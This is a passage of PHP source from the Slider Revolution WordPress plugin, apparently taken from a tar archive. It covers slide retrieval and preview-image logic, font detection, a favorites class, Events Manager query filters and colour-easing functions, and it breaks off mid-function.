if($this->get_val($slide, 'static', false) === true){ $slides[$key]['title'] = __('Global Layers', 'revslider'); $slides[$key]['bg'] = array('type' => 'image', 'src' => RS_PLUGIN_URL.'admin/assets/images/sources/static.png', 'style' => array()); }else{ if($this->get_val($params, 'title', false) === false) $params['title'] = 'Slide '.$i; $slides[$key]['title'] = $this->get_val($params, 'title'); $rslide = new RevSliderSlide(); $rslide->init_by_id($slide['id']); $image = $rslide->get_overview_image_attributes('gallery'); $slides[$key]['bg'] = array(); if(!empty($image)){ $slides[$key]['bg'] = $image; } } unset($slides[$key]['params']); unset($slides[$key]['layers']); unset($slides[$key]['settings']); $i++; } } return $slides; } /** * get all slides of all given slider_ids raw **/ public function get_all_slides_raw($slider_ids){ $first_slides = $this->get_slides_by_slider_id($slider_ids, false, false, false, false, true); $slide_ids = $this->get_slide_ids_by_slider_id($slider_ids); return array('first_slides' => $first_slides, 'slide_ids' => $slide_ids); } /** * get all slide ids from the slider list * @since: 6.3.10 **/ public function get_slide_ids_by_slider_id($slider_ids){ global $wpdb; if(is_array($slider_ids) && !empty($slider_ids)){ $in = str_repeat('%d,', count($slider_ids) - 1) . '%d'; $slides_data = $wpdb->get_results($wpdb->prepare("SELECT `id`, `slider_id`, `slide_order` FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES." WHERE slider_id IN(".$in.") ORDER BY slider_id,slide_order ASC", $slider_ids), ARRAY_A); }else{ $slides_data = $wpdb->get_results($wpdb->prepare("SELECT `id`, `slider_id`, `slide_order` FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES." WHERE slider_id = %d ORDER BY slide_order ASC", $slider_ids), ARRAY_A); } return $slides_data; } /** * get all slides from specific slider id * @before: RevSliderSlider::getSlidesFromGallery **/ public function get_slides_by_slider_id($slider_id, $published = false, $wmpl = false, $first = false, $init_layer = true, $fetch_single = false){ global $wpdb; $slides = array(); $children = array(); $first_sql = ($fetch_single === true) ? " AND `slide_order` = '1'" : ''; if(is_array($slider_id) && !empty($slider_id)){ $in = str_repeat('%d,', count($slider_id) - 1) . '%d'; $slides_data_sql = $wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES." WHERE slider_id IN(".$in.")".$first_sql." ORDER BY slider_id,slide_order ASC", $slider_id); }else{ $slides_data_sql = $wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES." WHERE slider_id = %d".$first_sql." ORDER BY slide_order ASC", $slider_id); } $cache_key = $this->get_wp_cache_key('get_slides_by_slider_id', $slides_data_sql); $slides_data = wp_cache_get($cache_key, self::CACHE_GROUP); if (false === $slides_data) { $slides_data = $wpdb->get_results($slides_data_sql, ARRAY_A); wp_cache_set($cache_key, $slides_data, self::CACHE_GROUP); } foreach($slides_data as $slide_data){ $slide = new RevSliderSlide(); $slide->init_layer = $init_layer; $slide->init_by_data($slide_data); if($published == true && $slide->get_param(array('publish', 'state'), 'published') == 'unpublished'){ continue; } $pid = $slide->get_param(array('child', 'parentId'), ''); if(!empty($pid)){ if(!isset($children[$pid])) $children[$pid] = array(); $children[$pid][] = $slide; if(!$wmpl) continue; //do not add it to $slides } $slides[$slide->get_id()] = $slide; if($first) break; //we only want the first slide! } //add children array to the parent slides foreach($children as $pid => $arr){ if(!isset($slides[$pid])){ continue; } $slides[$pid]->children = $arr; } return $slides; } /** * get params for export * before: RevSliderSlide::getParamsForExport() */ public function get_params_for_export(){ $params = $this->params; $img_url = $this->get_val($this->params, array('bg', 'image')); if(!isset($params['bg'])){ $params['bg'] = array(); }else{ $params['bg'] = (array)$params['bg']; } if(!empty($img_url)){ $params['bg']['image'] = $this->get_image_path_from_url($img_url); } //check if we are transparent or solid and remove image then if(in_array($this->get_val($this->params, array('bg', 'type'), 'transparent'), array('transparent', 'trans', 'solid'), true)) $params['bg']['image'] = ''; return apply_filters('revslider_slide_getParamsForExport', apply_filters('revslider_slide_getParamsForExport', $params, $this), $this); } /** * modify layer links for export * before: RevSliderSlide::getLayersForExport() */ public function get_layers_for_export(){ $layers = array(); if(!empty($this->layers)){ foreach($this->layers as $lid => $layer){ $img_url = $this->get_val($layer, array('media', 'imageUrl')); if(!empty($img_url)){ $layer['media'] = (array)$layer['media']; $layer['media']['imageUrl'] = $this->get_image_path_from_url($img_url); } $layers[$lid] = $layer; } } return apply_filters('revslider_slide_get_layers_for_export', apply_filters('revslider_slide_getLayersForExport', $layers, $this), $this); } /** * get the image attributes needed to show preview images * @will replace get_image_attributes() * @before: RevSldierSlide::get_image_attributes(); * bg: { type (color, image,transparent), src: (image source)...} **/ public function get_overview_image_attributes($layouttype){ $image = array('type' => 'image', 'src' => '', 'style' => array()); $thumb_src = $this->check_valid_image($this->get_param(array('thumb', 'customAdminThumbSrc'), false)); $thumb_src = ($thumb_src == false || $thumb_src == '') ? $this->check_valid_image($this->get_param(array('thumb', 'customThumbSrc'), false)) : $thumb_src; $bgtype = $this->get_param(array('bg', 'type'), 'solid'); $thumb_src = (($bgtype == 'image' || $bgtype == 'html5' || $bgtype == 'youtube' || $bgtype == 'vimeo') && ($thumb_src == false || $thumb_src == '')) ? $this->check_valid_image($this->get_param(array('bg', 'image'), false)) : $thumb_src; $image['src'] = ($thumb_src !== false) ? $thumb_src : ''; $bg = $this->get_param('bg', array()); if($thumb_src === false){ if($bgtype == 'trans'){ $image['type'] = 'transparent'; $image['style'] = array('background-size' => 'inherit', 'background-repeat' => 'repeat'); }elseif($bgtype == 'solid'){ $image['type'] = 'color'; $image['style'] = array('background-color' => $this->get_val($bg, 'color', '#ffffff')); $image['src'] = ''; }elseif($image['src'] == '' || !pathinfo($image['src'], PATHINFO_EXTENSION)){ $image['src'] = ''; //first check background slide if(!empty($bg)){ $fit = $this->get_val($bg, 'fit', 'cover'); $position = $this->get_val($bg, 'position', 'center top'); $image['style']['background-size'] = ($fit == 'percentage') ? intval($this->get_val($bg, 'fitX', '100')).'% '.intval($this->get_val($bg, 'fitY', '100')).'%' : $fit; $image['style']['background-position'] = ($position == 'percentage') ? intval($this->get_val($bg, 'positionX', '0')).'% '.intval($this->get_val($bg, 'positionY', '0')).'%' : $position; $image['style']['background-repeat'] = $this->get_val($bg, 'repeat', 'no-repeat'); $_src = RS_PLUGIN_URL.'public/assets/assets/sources/'; switch($layouttype){ case 'gallery': break; case 'posts': case 'specific_posts': case 'specific_post': $image['src'] = $_src.'post.png'; $image['style'] = array('background-size' => 'cover'); break; case 'woocommerce': $image['src'] = $_src.'woo.png'; $image['style'] = array('background-size' => 'cover'); break; case 'facebook': $image['src'] = $_src.'facebook.png'; $image['style'] = array('background-size' => 'cover'); break; case 'twitter': $image['src'] = $_src.'twitter.png'; $image['style'] = array('background-size' => 'cover'); break; case 'instagram': $image['src'] = $_src.'instagram.png'; $image['style'] = array('background-size' => 'cover'); break; case 'flickr': $image['src'] = $_src.'flickr.png'; $image['style'] = array('background-size' => 'cover'); break; case 'youtube': $image['src'] = $_src.'youtube.png'; $image['style'] = array('background-size' => 'cover'); break; case 'vimeo': $image['src'] = $_src.'vimeo.png'; $image['style'] = array('background-size' => 'cover'); break; } }else{ $image = $this->get_image_attributes($layouttype); } } } return $image; } /** * get the image attributes needed to show preview images if the Slider is older than 6.0.0 * @has still old RevSlider 5 keys as we check for an revslider prior to 6.0.0 * @before: RevSldierSlide::get_image_attributes(); * bg: { type (color, image,transparent), src: (image source) ….} **/ public function get_overview_image_attributes_pre60($layouttype){ $image = array('type' => 'image', 'src' => $this->get_param('image', ''), 'style' => array()); $thumb_src = ($this->get_param('thumb_for_admin') === true || $this->get_param('thumb_for_admin') === 'true' || $this->get_param('thumb_for_admin') === 'on') ? $this->get_param('slide_thumb', false) : false; $image['src'] = ($thumb_src !== false) ? $thumb_src : $image['src']; if($image['src'] == '' || !pathinfo($image['src'], PATHINFO_EXTENSION)){ $image['src'] = ''; //first check background slide if(strpos($this->get_param('background_type'), 'youtube') !== false){ $type = 'youtube'; }elseif(strpos($this->get_param('background_type'), 'vimeo') !== false){ $type = 'vimeo'; }elseif(strpos($this->get_param('background_type'), 'instagram') !== false){ $type = 'html5'; }elseif(strpos($this->get_param('background_type'), 'twitter') !== false){ $type = 'html5'; }else{ $type = $this->get_param('background_type'); } if($type == 'trans'){ $image['type'] = 'transparent'; $image['style'] = array('background-size' => 'inherit', 'background-repeat' => 'repeat'); }elseif($type == 'solid'){ $image['type'] = 'color'; $image['style'] = array('background-color' => $this->get_param('slide_bg_color', '#ffffff')); $image['src'] = ''; }else{ $fit = $this->get_param('bg_fit', 'cover'); $position = $this->get_param('bg_position', 'center center'); $image['style']['background-size'] = ($fit == 'percentage') ? intval($this->get_param('bg_fit_x', '100')).'% '.intval($this->get_param('bg_fit_y', '100')).'%' : $fit; $image['style']['background-position'] = ($position == 'percentage') ? intval($this->get_param('bg_position_x', 0)).'% '.intval($this->get_param('bg_position_y', 0)).'%' : $position; $image['style']['background-repeat'] = $this->get_param('bg_repeat', 'no-repeat'); $_src = RS_PLUGIN_URL.'public/assets/assets/sources/'; switch($layouttype){ case 'gallery': break; case 'posts': case 'specific_posts': case 'specific_post': $image['src'] = $_src.'post.png'; $image['style'] = array('background-size' => 'cover'); break; case 'woocommerce': $image['src'] = $_src.'woo.png'; $image['style'] = array('background-size' => 'cover'); break; case 'facebook': $image['src'] = $_src.'facebook.png'; $image['style'] = array('background-size' => 'cover'); break; case 'twitter': $image['src'] = $_src.'twitter.png'; $image['style'] = array('background-size' => 'cover'); break; case 'instagram': $image['src'] = $_src.'instagram.png'; $image['style'] = array('background-size' => 'cover'); break; case 'flickr': $image['src'] = $_src.'flickr.png'; $image['style'] = array('background-size' => 'cover'); break; case 'youtube': $image['src'] = $_src.'youtube.png'; $image['style'] = array('background-size' => 'cover'); break; case 'vimeo': $image['src'] = $_src.'vimeo.png'; $image['style'] = array('background-size' => 'cover'); break; } } } return $image; } /** * get the image attributes needed to show preview images **/ public function get_image_attributes($layouttype){ //1 admin thumbnail //2 nav thumbnail //3 check the background type $type = $this->get_param(array('bg', 'type'), 'transparent'); $fit = $this->get_param(array('bg', 'fit'), 'cover'); $position = $this->get_param(array('bg', 'position'), 'center top'); $thumb_on = $this->get_param(array('thumb', 'customAdminThumbSrc'), ''); $th = $this->get_param(array('thumb', 'customThumbSrc'), ''); $style = array(); $thumb = ''; $class = 'image'; if($type == 'trans' || $type == 'transparent'){ $thumb = ''; $class = 'transparent'; $style['background-size'] = 'inherit'; $style['background-repeat'] = 'repeat'; $thumb = ($thumb_on !== '' && pathinfo($th, PATHINFO_EXTENSION)) ? $th : $thumb; }else{ $style['background-size'] = ($fit == 'percentage') ? intval($this->get_param(array('bg', 'fitX'), '100')).'% '.intval($this->get_param(array('bg', 'fitY'), '100')).'%' : $fit; $style['background-position'] = ($position == 'percentage') ? intval($this->get_param(array('bg', 'positionX'), '0')).'% '.intval($this->get_param(array('bg', 'positionY'), '0')).'%' : $position; $style['background-repeat'] = $this->get_param(array('bg', 'repeat'), 'no-repeat'); $_src = RS_PLUGIN_URL.'public/assets/assets/sources/'; switch($layouttype){ case 'gallery': $image_id = $this->get_param(array('bg', 'imageId')); if(empty($image_id)){ $thumb = $this->get_param(array('bg', 'image')); $image_id = $this->get_image_id_by_url($thumb); if($image_id !== false){ $thumb = $this->get_url_attachment_image($image_id, 'medium'); } }else{ $thumb = $this->get_url_attachment_image($image_id, 'medium'); } $thumb = ($thumb_on != '' && pathinfo($th, PATHINFO_EXTENSION)) ? $th : $thumb; break; case 'posts': $thumb = $_src.'post.png'; $style = array('background-size' => 'cover'); break; case 'woocommerce': $thumb = $_src.'woo.png'; $style = array('background-size' => 'cover'); break; case 'facebook': $thumb = $_src.'facebook.png'; $style = array('background-size' => 'cover'); break; case 'twitter': $thumb = $_src.'twitter.png'; $style = array('background-size' => 'cover'); break; case 'instagram': $thumb = $_src.'instagram.png'; $style = array('background-size' => 'cover'); break; case 'flickr': $thumb = $_src.'flickr.png'; $style = array('background-size' => 'cover'); break; case 'youtube': $thumb = $_src.'youtube.png'; $style = array('background-size' => 'cover'); break; case 'vimeo': $thumb = $_src.'vimeo.png'; $style = array('background-size' => 'cover'); break; } if($thumb == '' || !pathinfo($thumb, PATHINFO_EXTENSION)) $thumb = $this->get_param(array('bg', 'image')); if($type == 'solid'){ if($thumb_on == ''){ $style['background-color'] = $this->get_param(array('bg', 'color'), 'transparent'); $class = 'color'; $thumb = ''; }else{ $style = array('background-size' => 'cover'); } } } return apply_filters('revslider_slide_get_image_attributes', array( 'type' => $class, 'src' => $thumb, 'style' => $style ), $this); } /** * get all used fonts in the current Slide * @since: 5.1.0 * @before: RevSliderSlide::getUsedFonts(); */ public function get_used_fonts($full = false){ $fonts = array(); $all_fonts = $this->get_font_familys(); if(!empty($this->layers)){ foreach($this->layers as $key => $layer){ $font = $this->get_val($layer, array('idle', 'fontFamily'), 'Roboto'); $_fonts = array(); $_fonts[$font] = array( 'fontWeight' => $this->get_val($layer, array('idle', 'fontWeight'), '400'), 'fontStyle' => $this->get_val($layer, array('idle', 'fontStyle'), ''), 'addition' => array(), ); //$text = strtolower(str_replace(' ', '', $this->get_val($layer, 'text', ''))); $text = $this->get_val($layer, 'text', ''); //search for font family //search for font weight preg_match_all('/<[^>]+((?<=style=").*?(?=")|(?<=style=\').*?(?=\'))/i', $text, $matches); if(isset($matches[1])) $matches = $matches[1]; if(!empty($matches)){ foreach($matches as $match){ $match = explode(';', $match); if(empty($match)) continue; $found = array(); foreach($match as $m => $v){ if(empty($v)) continue; $_match = explode(':', $v); if(empty($_match)) continue; $style = trim(strtolower($this->get_val($_match, 0))); $style_value = trim($this->get_val($_match, 1)); if($style === 'font-family'){ $found['font-family'] = $style_value; }elseif($style === 'font-weight'){ $found['font-weight'] = $style_value; }elseif($style === 'font-style'){ $found['font-style'] = $style_value; } } if(!empty($found)){ $use_font = $font; if(isset($found['font-family'])){ if(!isset($_fonts[$found['font-family']])){ $_fonts[$found['font-family']] = array('fontWeight' => array(), 'fontStyle' => false, 'addition' => array()); } $use_font = $found['font-family']; } if(isset($found['font-weight'])){ if(strtolower($found['font-weight']) === 'bold') $found['font-weight'] = '600'; if(!in_array($found['font-weight'], $_fonts[$use_font]['addition'])){ $_fonts[$use_font]['addition'][] = $found['font-weight']; } } if(isset($found['font-style'])){ if(!in_array($found['font-style'], $_fonts[$use_font]['addition'])){ //$_fonts[$use_font]['addition'][] = $found['font-style']; $_fonts[$use_font]['fontStyle'] = true; } } } } } if(!empty($_fonts)){ foreach($_fonts as $font => $_font_values){ foreach($all_fonts as $f){ if(strtolower(str_replace(array('"', "'", ' '), '', $f['label'])) == strtolower(str_replace(array('"', "'", ' '), '', $font)) && ($f['type'] == 'googlefont' || $f['type'] === 'custom' && isset($f['url']) && isset($f['frontend']) && $f['frontend'] === true)){ if(!isset($fonts[$f['label']])){ $fonts[$f['label']] = array('variants' => array(), 'subsets' => array()); } if($f['type'] === 'custom') $fonts[$f['label']]['url'] = $f['url']; if($full){ //if full, add all. //switch the variants around here! $mv = array(); if(!empty($f['variants'])){ foreach($f['variants'] as $fvk => $fvv){ $mv[$fvv] = $fvv; } } $fonts[$f['label']] = array('variants' => $mv, 'subsets' => $f['subsets']); }else{ //Otherwise add only current font-weight plus italic or not $fw = $this->normalize_device_settings($this->get_val($_font_values, 'fontWeight', '400'), array('d' => true, 'n' => true, 't' => true, 'm' => true), 'array', array('400')); $fs = $this->get_val($_font_values, 'fontStyle', ''); $_addition = $this->get_val($_font_values, 'addition'); if(!empty($_addition) && is_array($_addition)){ foreach($_addition as $_add){ $fw[$_add] = $_add; } } if($fs == true){ foreach($fw as $mf => $w){ //we check if italic is available at all for the font! if($w == '400'){ if(array_search('italic', $f['variants']) !== false) $fw[$mf] = 'italic'; }else{ if(array_search($w.'italic', $f['variants']) !== false){ $fw[$mf.'italic'] = $w.'italic'; } } } } foreach($fw as $mf => $w){ $fonts[$f['label']]['variants'][$w] = true; } if(isset($f['subsets'])){ $fonts[$f['label']]['subsets'] = $f['subsets']; //subsets always get added, needs to be done then by the Slider Settings } } break; } } } } } } return apply_filters('revslider_slide_getUsedFonts', $fonts, $this); } /** * set slide image by image id * @before: RevSliderSlide::setImageByImageID(); */ private function set_image_by_image_id($id){ $id = apply_filters('revslider_slide_setImageByImageID', $id, $this); $resolution = $this->get_val($this->params, array('bg', 'imageSourceType'), 'full'); $this->image_id = $id; $this->image_url = $this->get_url_attachment_image($id, $resolution); $this->image_url = (is_ssl()) ? str_replace('http://', 'https://', $this->image_url) : $this->image_url; $this->image_thumb = $this->get_url_attachment_image($id, 'medium'); if(empty($this->image_url)) return(false); if(!isset($this->params['bg'])) $this->params['bg'] = array(); $this->params['bg']['type'] = 'image'; $this->params['bg']['image'] = $this->image_url; $this->image_path = $this->get_image_path_from_url($this->image_url); $real_path = $this->get_content_path().$this->image_path; $this->image_path = (file_exists($real_path) == false || is_file($real_path) == false) ? '' : $this->image_path; $this->image_filename = basename($this->image_url); } /** * set the image by image id * @since: 5.0 * @before: RevSliderSlide::setImageByID(); */ public function set_image_by_id($imageID, $size = 'full'){ $a = apply_filters('revslider_slide_setImageByID', array('imageID' => $imageID, 'size' => $size), $this); $url = $this->get_url_attachment_image($a['imageID'], $a['size']); if(!empty($url)){ $this->image_id = $a['imageID']; $this->image_url = $url; $this->image_thumb = $this->get_url_attachment_image($a['imageID'], 'medium'); $this->image_filename = basename($this->image_url); $this->image_filepath = $this->get_image_path_from_url($this->image_url); $real_path = $this->get_content_path().$this->image_filepath; $this->image_filepath = (file_exists($real_path) == false || is_file($real_path) == false) ? '' : $this->image_filepath; return true; } return false; } /** * get categories list, copy the code from default wp functions * @before: RevSliderFunctionsWP::getCategoriesHtmlList(); */ public function get_categories_html($cat_ids, $tax = null, $post_id = '', $full = false){ global $wp_rewrite; if(!empty($post_id) && $full === false) return get_the_category_list(', ', null, $post_id); $categories = ($full === true && !empty($cat_ids)) ? $cat_ids : $this->get_categories_by_id($cat_ids, $tax); $errors = $this->get_val($categories, 'errors'); $list = ''; $err = ''; $rel = (is_object($wp_rewrite) && $wp_rewrite->using_permalinks()) ? 'rel="category tag"' : 'rel="category"'; if(!empty($errors)){ foreach($errors as $error){ $err .= implode($error, ','); } $this->throw_error(__('retrieving categories error: '.esc_html($err))); } $sep = false; foreach($categories as $category){ if(is_object($category)){ $category = (array)$category; } $link = get_category_link($category['term_id']); $name = $category['name']; $list.= ($sep == true) ? ',' : ''; $list.= (!empty($link)) ? ''. $name .'' : $name; $sep = true; } return $list; } /** * get categories by id's * @before: RevSliderFunctionsWP::getCategoriesByIDs(); */ public function get_categories_by_id($ids, $tax = null){ if(empty($ids)) array(); $string_ids = (is_string($ids)) ? $ids : implode(',', $ids); $args = array('include' => $string_ids, 'number' => 10000); if(!empty($tax)){ $args['taxonomy'] = (is_string($tax)) ? explode(',', $tax) : $tax; } $cats = get_categories($args); return (!empty($cats)) ? $this->class_to_array($cats) : $cats; } /** * Encode the flickr ID for URL (base58) * @since 1.0.0 * @param string $num flickr photo id */ public function base_encode($num, $alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'){ $base_count = strlen($alphabet); $encoded = ''; while ($num >= $base_count){ $div = $num / $base_count; $mod = intval($num - ($base_count * intval($div))); $encoded = $alphabet[$mod] . $encoded; $num = intval($div); } if($num) $encoded = $alphabet[$num] . $encoded; return $encoded; } /** * add "a" tags to links within a text * @since: 5.0 * @before: RevSliderBase::add_wrap_around_url() * @param string $text * @return string */ public function add_wrap_around_url($text){ $reg_exUrl = "/(http|https|ftp|ftps)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z]{2,3}(\/\S*)?/"; // Check if there is a url in the text if(preg_match($reg_exUrl, $text, $url)){ // make the urls hyper links return preg_replace($reg_exUrl, ''.$url[0].'', $text); }else{ // if no urls in the text just return the text return $text; } } /** * get wp-content path * before: RevSliderFunctionsWP::getPathContent() * @return string */ public function get_content_path(){ if(is_multisite()){ $path = (!defined('BLOGUPLOADDIR')) ? ABSPATH.'wp-content/' : BLOGUPLOADDIR; }else{ $path = (!defined('WP_CONTENT_DIR')) ? WP_CONTENT_DIR.'/' : ABSPATH.'wp-content/'; //FIX FOR PHP5 } return $path; } /** * get image relative path from image url (from upload) * before: RevSliderFunctionsWP::getImagePathFromURL() * @param string $url */ public function get_image_path_from_url($url){ return str_replace($this->get_base_url(), '', $url); } } /** * old classname extends new one (old classnames will be obsolete soon) * @since: 5.0 **/ //class RevSlide extends RevSliderSlide {} includes/favorite.class.php000060400000002366151724235750012024 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderFavorite extends RevSliderFunctions { /** * change the setting of a favorization * @param string $do * @param string $type * @param mixed $id * @return array **/ public function set_favorite($do, $type, $id){ $fav = get_option('rs_favorite', array()); $id = esc_attr($id); if(!isset($fav[$type])) $fav[$type] = array(); $key = array_search($id, $fav[$type]); if($key === false){ if($do == 'add') $fav[$type][] = $id; }elseif($do == 'remove'){ unset($fav[$type][$key]); }elseif($do == 'replace'){ $fav[$type] = $id; } update_option('rs_favorite', $fav); return $fav; } /** * get a certain favorite type * @param string $type * @return array **/ public function get_favorite($type){ $fav = get_option('rs_favorite', array()); return $this->get_val($fav, $type, array()); } /** * return if certain element is in favorites * @param string $type * @param mixed $id * @return bool **/ public function is_favorite($type, $id){ $favs = $this->get_favorite($type); return array_search($id, $favs) !== false; } }includes/em-integration.class.php000060400000013415151724235750013124 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderEventsManager extends RevSliderFunctions { public function __construct(){ $this->init_em(); } /** * **/ public function init_em(){ add_filter('revslider_get_posts_by_category', array($this, 'add_post_query'), 10, 2); } /** * check if events class exists */ public static function isEventsExists(){ return defined('EM_VERSION') && defined('EM_PRO_MIN_VERSION'); } /** * get sort by list * @before: RevSliderEventsManager::getArrFilterTypes() */ public static function get_filter_types(){ return array( 'none' => __('All Events', 'revslider'), 'today' => __('Today', 'revslider'), 'tomorrow' => __('Tomorrow', 'revslider'), 'future' => __('Future', 'revslider'), 'past' => __('Past', 'revslider'), 'month' => __('This Month', 'revslider'), 'nextmonth' => __('Next Month', 'revslider') ); } /** * get meta query * @before: RevSliderEventsManager::getWPQuery() */ public static function get_query($filter_type, $sort_by){ $response = array(); $dayMs = 60 * 60 * 24; $time = current_time('timestamp'); $todayStart = strtotime(date('Y-m-d', $time)); $todayEnd = $todayStart + $dayMs-1; $tomorrowStart = $todayEnd+1; $tomorrowEnd = $tomorrowStart + $dayMs-1; $start_month = strtotime(date('Y-m-1',$time)); $end_month = strtotime(date('Y-m-t',$time)) + 86399; $next_month_middle = strtotime('+1 month', $time); //get the end of this month + 1 day $start_next_month = strtotime(date('Y-m-1',$next_month_middle)); $end_next_month = strtotime(date('Y-m-t',$next_month_middle)) + 86399; $query = array(); switch($filter_type){ case 'none': //none break; case 'today': $query[] = array('key' => '_start_ts', 'value' => $todayEnd, 'compare' => '<='); $query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '>='); break; case 'future': $query[] = array('key' => '_start_ts', 'value' => $time, 'compare' => '>'); break; case 'tomorrow': $query[] = array('key' => '_start_ts', 'value' => $tomorrowEnd, 'compare' => '<='); $query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '>='); break; case 'past': $query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '<'); break; case 'month': $query[] = array('key' => '_start_ts', 'value' => $end_month, 'compare' => '<='); $query[] = array('key' => '_end_ts', 'value' => $start_month, 'compare' => '>='); break; case 'nextmonth': $query[] = array('key' => '_start_ts', 'value' => $end_next_month, 'compare' => '<='); $query[] = array('key' => '_end_ts', 'value' => $start_next_month, 'compare' => '>='); break; default: $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); $f->throw_error('Wrong event filter'); break; } if(!empty($query)) $response['meta_query'] = $query; //convert sortby switch($sort_by){ case 'event_start_date': $response['orderby'] = 'meta_value_num'; $response['meta_key'] = '_start_ts'; break; case 'event_end_date': $response['orderby'] = 'meta_value_num'; $response['meta_key'] = '_end_ts'; break; } return $response; } /** * get event post data in array. * if the post is not event, return empty array * @before: RevSliderEventsManager::getEventPostData() */ public static function get_event_post_data($postID){ if(self::isEventsExists() == false) return array(); $postType = get_post_type($postID); if($postType != EM_POST_TYPE_EVENT) return array(); $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); $event = new EM_Event($postID, 'post_id'); $location = $event->get_location(); $ev = $event->to_array(); $loc = $location->to_array(); $date_format = get_option('date_format'); $time_format = get_option('time_format'); $response = array( 'id' => $f->get_val($ev, 'event_id'), 'start_date' => date_format(date_create_from_format('Y-m-d', $f->get_val($ev, 'event_start_date')), $date_format), 'end_date' => date_format(date_create_from_format('Y-m-d', $f->get_val($ev, 'event_end_date')), $date_format), 'start_time' => date_format(date_create_from_format('H:i:s', $f->get_val($ev, 'event_start_time')), $time_format), 'end_time' => date_format(date_create_from_format('H:i:s', $f->get_val($ev, 'event_end_time')), $time_format), 'location_name' => $f->get_val($loc, 'location_name'), 'location_address' => $f->get_val($loc, 'location_address'), 'location_slug' => $f->get_val($loc, 'location_slug'), 'location_town' => $f->get_val($loc, 'location_town'), 'location_state' => $f->get_val($loc, 'location_state'), 'location_postcode' => $f->get_val($loc, 'location_postcode'), 'location_region' => $f->get_val($loc, 'location_region'), 'location_country' => $f->get_val($loc, 'location_country'), 'location_latitude' => $f->get_val($loc, 'location_latitude'), 'location_longitude' => $f->get_val($loc, 'location_longitude') ); return $response; } /** * get events sort by array */ public static function getArrSortBy(){ return array( 'event_start_date' => __('Event Start Date', 'revslider'), 'event_end_date' => __('Event End Date', 'revslider') ); } /** * triggered if we receive posts by categories (RevSliderSlider::get_posts_by_categories()) **/ public function add_post_query($data, $slider){ $filter_type = $slider->get_param('events_filter', 'none'); if(self::isEventsExists()){ $data['addition'] = RevSliderEventsManager::get_query($filter_type, $this->get_val($data, 'sort_by')); } return $data; } }includes/coloreasing.class.php000060400000014636151724235750012515 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); if(!class_exists('RSColorEasing')) { class RSColorEasing { public function __construct() {} /** * get the distance between two r/g/b values * @since 6.0 */ public static function distColor($px, $bx, $ex, $bv, $ev) { $num = abs(((($px - $bx) / ($ex - $bx)) * ($ev - $bv)) + $bv); $num = round($num); $num = min($num, 255); return max($num, 0); } /** * get the distance between two alpha values * @since 6.0 */ public static function distAlpha($px, $bx, $ex, $bv, $ev) { $bv = floatval($bv); $num = floatval((($px - $bx) / ($ex - $bx)) * ($ev - $bv)); $num = number_format($num, 2, '.', ''); $num = abs($num + $bv); $num = min($num, 1); return max($num, 0); } /** * insert easing colors to a gradient * @since 6.0 */ public static function insertPoints($start, $end, &$ar, $easing, $strength) { $startPos = $start['position']; $endPos = $end['position']; if($startPos > $endPos) return; $positions = array(); $point; $val; $px; for($i = 0; $i < $strength; $i++) { $val = RSColorEasing::easing($i, 0, 1, $strength, $easing); $val = floatval($val); $val = number_format($val, 2, '.', ''); $val = $val * ($endPos - $startPos) + $startPos; if($val > $startPos && $val < $endPos) $positions[] = $val; } $len = count($positions); $num = floatval(($endPos - $startPos) / ($len + 1)); $count = number_format($num, 2, '.', ''); $p = $count + $startPos; for($i = 0; $i < $len; $i++) { $px = $positions[$i]; if($px === $start['position']) continue; $r = RSColorEasing::distColor($px, $startPos, $endPos, $start['r'], $end['r']); $g = RSColorEasing::distColor($px, $startPos, $endPos, $start['g'], $end['g']); $b = RSColorEasing::distColor($px, $startPos, $endPos, $start['b'], $end['b']); $a = RSColorEasing::distAlpha($px, $startPos, $endPos, $start['a'], $end['a']); $startA = RSColorpicker::sanitizeAlpha($start['a']); $endA = RSColorpicker::sanitizeAlpha($end['a']); $point = array( 'position' => $p, 'r' => $start['r'] !== $end['r'] ? round($r) : $start['r'], 'g' => $start['g'] !== $end['g'] ? round($g) : $start['g'], 'b' => $start['b'] !== $end['b'] ? round($b) : $start['b'], 'a' => $startA !== $endA ? RSColorpicker::sanitizeAlpha($a) : $startA ); $p += $count; $p = number_format(floatval($p), 2, '.', ''); $ar[] = $point; } } /** * easing equations * @since 6.0 */ public static function easing($n, $t, $e, $u, $ease = 'sine.easeinout') { $easing = array('sine, easeinout'); if(is_string($ease) && strpos($ease, '.') !== false) { $ease = explode('.', $ease); if(count($ease) === 2) $easing = [$ease[0], $ease[1]]; } switch($easing[0]) { case 'quint': switch($easing[1]) { case 'easein': return $e*(($n=$n/$u-1)*$n*$n*$n*$n+1)+$t; break; case 'easeout': return $e*($n/=$u)*$n*$n*$n*$n+$t; break; case 'easeinout': return ($n/=$u/2)<1?$e/2*$n*$n*$n*$n*$n+$t:$e/2*(($n-=2)*$n*$n*$n*$n+2)+$t; break; } break; case 'quad': switch($easing[1]) { case 'easein': return $e*($n/=$u)*$n+$t; break; case 'easeout': return -$e*($n/=$u)*($n-2)+$t; break; case 'easeinout': return ($n/=$u/2)<1?$e/2*$n*$n+$t:-$e/2*(--$n*($n-2)-1)+$t; break; } break; case 'quart': switch($easing[1]) { case 'easein': return $e*($n/=$u)*$n*$n*$n+$t; break; case 'easeout': return -$e*(($n=$n/$u-1)*$n*$n*$n-1)+$t; break; case 'easeinout': return ($n/=$u/2)<1?$e/2*$n*$n*$n*$n+$t:-$e/2*(($n-=2)*$n*$n*$n-2)+$t; break; } break; case 'cubic': switch($easing[1]) { case 'easein': return $e*($n/=$u)*$n*$n+$t; break; case 'easeout': return 